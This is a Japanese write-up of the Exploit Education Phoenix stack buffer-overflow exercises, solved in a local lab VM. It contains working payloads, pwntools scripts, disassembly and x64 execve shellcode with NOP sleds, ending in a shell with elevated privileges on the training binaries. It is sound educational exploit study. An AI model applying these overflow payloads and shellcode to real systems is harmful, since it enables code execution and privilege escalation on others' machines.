Exploit Education Phoenix-Stack編
きっかけはこの動画を見ていたところ、
例に使用していたプログラムが乗っているサイトがちらっと見えて、気になったのでアクセスすると、何やら面白そうなサイトだった 。(現在はリニューアルしていて動画で見たものとは若干異なる)
少し覗いてみると簡単なstack over flowから始まり、kernel exploit入門的なものもある。ググっても日本語のwriteupが見当たらなかったので、一応記事にして見る。
環境は一式ダウンロードできて、自分はqemuを使った。シェルスクリプトを走らせるだけだが、一応参考にしたサイトを載せる
http://www.iet.unipi.it/p.perazzo/teaching/cybsec/LAB.01.Phoenix_setup.pdf
今回はstack編を書いていこうと思う。
実行バイナリは64bitの物を使用した。qemu環境で/opt/phoenix/amd64下にある。
ソースコードはサイトにあるのでそちらを参照していただきたい。
* もくじ
Stack-Zero
bufferにgetsで文字を入力する。目標はメモリアドレス上でlocals.bufferの下に配置されている変数locals.changemeを書き換えること。
ソースを見る通りbufのサイズは64byteなので、64文字以上入力することでBOF(Buffer Over Flow)が起こったことが確認できる。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education hoge Uh oh, 'changeme' has not yet been changed. Would you like to try again? user@phoenix-amd64:~/workspace$ perl -e 'print "A"x65' | /opt/phoenix/amd64/stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
Stack-One
main関数のargv[1]をlocals.bufferにstrcpyするようなコード。先ほどと同様locals.changemeを書き換えることが目標。
stack-zeroに加えてlocals.changemeを0x496c5962に上書きする必要がある。ここでこの環境にすでにpwntoolがインストールされていることに気がついたので利用する。pwntoolsを使わなくてもchangemeを上書きする値がascii印字可能文字のみなので64文字の後に"bYlI"を付け足してもできる。
#stack-one.py from pwn import * argv1 = "A"*64 argv1 += p32(0x496c5962) p = process(['/opt/phoenix/amd64/stack-one', argv1]) p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one Welcome to phoenix/stack-one, brought to you by https://exploit.education stack-one: specify an argument, to be copied into the "buffer" user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one hogehuga Welcome to phoenix/stack-one, brought to you by https://exploit.education Getting closer! changeme is currently 0x00000000, we want 0x496c5962 user@phoenix-amd64:~/workspace$ python stack-one.py [+] Starting local process '/opt/phoenix/amd64/stack-one': pid 343 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/stack-one' stopped with exit code 0 (pid 343) Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value
Stack-Two
環境変数ExploitEducationをgetenv()して、その変数をlocals.bufferにstrcpy()する。目標は同様、locals.changemeを指定された値に上書きすること。locals.changemeを上書きしたい値が改行文字などを含んでいるため、これもpythonで環境変数を設定させる。
#stack-two.py from pwn import * env1 = "A"*64 + "\x0a\x09\x0a\x0d" p = process(['/opt/phoenix/amd64/stack-two'], env={'ExploitEducation':env1}) p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-two Welcome to phoenix/stack-two, brought to you by https://exploit.education stack-two: please set the ExploitEducation environment variable user@phoenix-amd64:~/workspace$ ExploitEducation=1 /opt/phoenix/amd64/stack-two Welcome to phoenix/stack-two, brought to you by https://exploit.education Almost! changeme is currently 0x00000000, we want 0x0d0a090a user@phoenix-amd64:~/workspace$ python stack-two.py [+] Starting local process '/opt/phoenix/amd64/stack-two': pid 397 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/stack-two' stopped with exit code 0 (pid 397) Welcome to phoenix/stack-two, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value [*] Got EOF while reading in interactive
Stack-Three
locals.bufferに直接gets()をする。gets()後メモリアドレス上でlocals.bufferの下にあるlocals.fpという関数ポインタの値にジャンプするのでfpをこれまたBOFで書き換える。ソースコードにはそれらしき関数complete_levelがあるので、fpをこの関数の先頭番地に書き換える。
user@phoenix-amd64:~/workspace$ objdump -d -M intel /opt/phoenix/amd64/stack-three |grep complete_level 000000000040069d <complete_level>: user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education hoge function pointer remains unmodified :~( better luck next time! user@phoenix-amd64:~/workspace$ perl -e 'print "A"x64 . "\x9d\x06\x40" ' | /opt/phoenix/amd64/stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education calling function pointer @ 0x40069d Congratulations, you've finished phoenix/stack-three :-) Well done!
Stack-Four
start_level関数内でgets()が呼ばれている。目標はstart_level関数のreturn先のアドレスを書き換えること。stack-threeと似ているが、threeは明示されている変数の値を書き換えるのに対して、こちらはstackに積まれたreturnアドレスを書き換えるというもの。後者の方がよりCTFで出題されるように思える。
ここで見たことのない__builtin_return_address(0)が呼ばれている。直接は関係ないがどうのような関数なのだろうか、とりあえず実行する。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education hoge and will be returning to 0x40068d
おそらく出力されている0x40068dはstart_level関数が終了した時のret_addrである。調べて見ると__builtin_return_addres()はその名の通りreturn addressを返してくれる関数のようだ。引数によっては、より下に積まれているreturn addressも調べることができる。(アーキテクチャ依存らしいが)
objdumpからもmain関数の中のstart_level関数の呼び出し後の番地が出力されているのがわかる。
$objdump -d -M intel /opt/phoenix/amd64/stack-four ... ... 000000000040061d <complete_level>: 40061d: 55 push rbp 40061e: 48 89 e5 mov rbp,rsp 400621: bf f0 06 40 00 mov edi,0x4006f0 400626: e8 55 fe ff ff call 400480 <puts@plt> 40062b: bf 00 00 00 00 mov edi,0x0 400630: e8 5b fe ff ff call 400490 <exit@plt> 0000000000400635 <start_level>: 400635: 55 push rbp 400636: 48 89 e5 mov rbp,rsp 400639: 48 83 ec 50 sub rsp,0x50 40063d: 48 8d 45 b0 lea rax,[rbp-0x50] 400641: 48 89 c7 mov rdi,rax 400644: e8 27 fe ff ff call 400470 <gets@plt> 400649: 48 8b 45 08 mov rax,QWORD PTR [rbp+0x8] 40064d: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400651: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400655: 48 89 c6 mov rsi,rax 400658: bf 33 07 40 00 mov edi,0x400733 40065d: b8 00 00 00 00 mov eax,0x0 400662: e8 f9 fd ff ff call 400460 <printf@plt> 400667: 90 nop 400668: c9 leave 400669: c3 ret 000000000040066a <main>: 40066a: 55 push rbp 40066b: 48 89 e5 mov rbp,rsp 40066e: 48 83 ec 10 sub rsp,0x10 400672: 89 7d fc mov DWORD PTR [rbp-0x4],edi 400675: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi 400679: bf 50 07 40 00 mov edi,0x400750 40067e: e8 fd fd ff ff call 400480 <puts@plt> 400683: b8 00 00 00 00 mov eax,0x0 400688: e8 a8 ff ff ff call 400635 <start_level> 40068d: b8 00 00 00 00 mov eax,0x0 400692: c9 leave 400693: c3 ret 400694: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40069b: 00 00 00 40069e: 66 90 xchg ax,ax ... ...
bufのアドレスは ebp-0x50 からのようなので0x50+8文字分のpayload+complete_level関数のアドレスを入力する
user@phoenix-amd64:~/workspace$ perl -e 'print "A"x88 . "\x1d\x06\x40"' | /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done!
Stack-Five
Fiveは呼び出す目的の関数などがなくexecve("/bin/sh",...,...)を立ち上げることが目標のようだ。
脆弱性はgetsによるoverflow。方針はいくつか考えられるが、 用意されたqemuの環境だとデフォルトでASLRがオフであること、rpのようなガジェット検索ツールが未インストールであることから、今回はシェルコードをスタック上に置いて、スタック上のアドレスにripを飛ばす方針でやる。
CTFではASLRが有効なのが基本なので、32bitでbrute-forceをしない限りは、puts,getsは動的リンクされているので、libcのアドレスをリークしつつsystem("/bin/sh")をしたり、bss領域にシェルコードを書き込んで、そこに飛ばすのが良さそう。今回はパス。
と思ってexploitコードを書いたのだが、詰まる。
自分は勘違いしていて、gdbで開いたバイナリはASLRがオフになっているのでstackのアドレスは変わらないと思っていたのだが、gdbで開くと複数の環境変数が追加で定義されて実行されるので、スタックのアドレスがずれるようだ。
reverseengineering.stackexchange.com
上の記事にあるような環境変数を出力するようなコード書いて、gdb上で動かすと、gdbでないときに比べて環境変数が色々追加されているのがわかる。
そこでどのくらいずれるのかを調べるためにコードを足して実行してみる。
#include <stdio.h> int main(int argc, char **argv, char** envp) { char** env; char* hello = "hello"; for (env = envp; *env != 0; env++) { char* thisEnv = *env; printf("%s\n", thisEnv); } printf("%s, addr: %p\n", hello, &hello); }
これをコンパイル、実行してみると、gdbを通さない時の方がスタックのアドレスが0x60大きくなっている。
これをもとに、gdbで得たbufの先頭から0x60足した値に加えて、少しずれてもごまかせるように シェルコードにnopスレッドを追加した。
#stack-five.py from pwn import * p = process(['/opt/phoenix/amd64/stack-five']) shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" gdb_diff = 0x60 buf_ongdb = 0x7fffffffe5c0 buf_addr = buf_ongdb + gdb_diff nop_off = 0x30 bufsize = 0x80 + 0x8 payload = "" payload += "\x90"*nop_off payload += shellcode payload += "\x90"*(bufsize - nop_off - len(shellcode)) payload += p64(buf_addr) p.recvline() p.sendline(payload) p.interactive()
ちなみにnopスレッドの数が0x2f~0x53だとシェルコードが動いた。スレッドに下限があるのは分かるが(ripがシェルコードの途中に飛んではいけないため)上限があるのはよくわからない。nopスレッドは連続していくつまでなんて上限は聞いたことがないが、、
シェルコードはshellstromに上がっているものを使用した。
shell-storm.org
user@phoenix-amd64:~/workspace$ python stack-five.py [+] Starting local process '/opt/phoenix/amd64/stack-five': pid 20531 [*] Switching to interactive mode $ id uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
ASLRが無効なら下調べしなくてもbruteforceでも良さそう。ASLRが無効なことはそうそうないが、実際数bitのbruteforceが必要となる問題も最近少なくない。
Stack-Six
stack編最後の問題。ここまでは解法はすぐ思いつくような問題ばかりだったが、この問題は少し解法を思いつくのに時間がかかった。
コードをみるとgreet関数の中のbufferのoverflowができそうである、bufferがどこから始まるか調べてみると[rbp-0xa0]から始まることがわかった。amd64環境だと、whatに格納されるGREETは34文字の文字列で、strncpyでコピーできるmaxの文字列は127文字。これを足しても161(0xa1)文字なのでreturnアドレスを書き換えることができなさそうである。ただstackに積んであるmain関数のrbpの下位1byteのみ書き換えることができる。
これを利用してどうにかできないか考えると、main関数ではgreet関数後はputsした後、leave retが続く。ここでうまくmainのrbpをいじってやればleaveでrspを飛ばしてかつ、retでripを取ることができそうである。そしてripをshellcodeがあるアドレスにすれば良さそうだ。
利用できそうな箇所を探すと、main関数のstackフレームにはptrという変数がrbp-0x8に格納されている。ptrにはgetenv("ExploitEducation")のreturnが入っているので、ExploitEducationという環境変数にshellcodeを仕込んでptrをretすればうまくshellcodeが実行されそうである。つまりgreet関数に跳ぶ際にpushしたmainのrbpの下位1byteを変えてmainのrbp-0x10に書き換えてしまえば、greet関数から帰ってきたあと、leave,retでptrの値がripにpopされる。
イメージ
(gdb) set env ExploitEducation=AAAABBBB (gdb) b greet (gdb) run ... (gdb) x/30gx $rsp 0x7fffffffe560: 0x00007ffff7ffc948 0x0000000000000049 0x7fffffffe570: 0x00007fffffffe5ef 0x0000000000000001 0x7fffffffe580: 0x0000000000000049 0x00007ffff7ffb300 0x7fffffffe590: 0x0000000000000000 0x0000000000400878 0x7fffffffe5a0: 0x000000000040079b 0x0000000000000000 0x7fffffffe5b0: 0x0000000000000000 0x00007ffff7db6dde 0x7fffffffe5c0: 0x000000000040079b 0x026402d0005a0024 0x7fffffffe5d0: 0x0000000000000000 0x00007ffff7db6b1e 0x7fffffffe5e0: 0x00007ffff7ffb300 0x0a00000000000000 0x7fffffffe5f0: 0x00007fffffffe698 0x00007ffff7d8fe8f 0x7fffffffe600: 0x00007fffffffe698 0x00007fffffffe698 0x7fffffffe610: 0x00007fffffffe640 0x00000000004007e9 ------------------------------------------------------------- ↑greet()のフレーム ------------------------------------------------------------- ↓main()のフレーム 0x7fffffffe620: 0x00007fffffffe698 0x00000001ffffe6a8 0x7fffffffe630: 0x000000000040079b 0x00007fffffffef87 0x7fffffffe640: 0x0000000000000001 0x00007ffff7d8fd62 (gdb) x/s 0x7fffffffef87 0x7fffffffef87: "AAAABBBB"
gdbで見てみるとこんな感じ。mainのrbpは0x7fffffffe640でrbp-0x8の中身は環境変数ExploitEducationのアドレスになってることも確認できる。先ほども述べたが、書き換えられるのは上のマップだと0x7fffffffe610の下位1byteのみなのでこれを0x30にしてあげればmainがrbp-0x8のアドレスにretする。
stack-fiveの通りgdb有り無しではスタックのアドレスがずれるので、exploitコードでは0から8byteずつ足してbruteforceを仕掛けた。
#stack-six.py from pwn import * #x64 shellcode shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" bufsize = 127 nopsled = 0x20 for i in range(0x0, 0xff, 8): payload = "" payload += "\x90"*nopsled payload += shellcode payload += "\x90"*(bufsize - nopsled - len(shellcode) - 1 ) payload += chr(i) # <- d648 p = process(['/opt/phoenix/amd64/stack-six'], env={'ExploitEducation':payload}) try: p.sendline("ls") print p.recvline() except: continue print hex(i) p.interactive()
qemu環境だと0x50の時にshellcodeが実行されている。ちなみにnopsledを入れているが必要ない。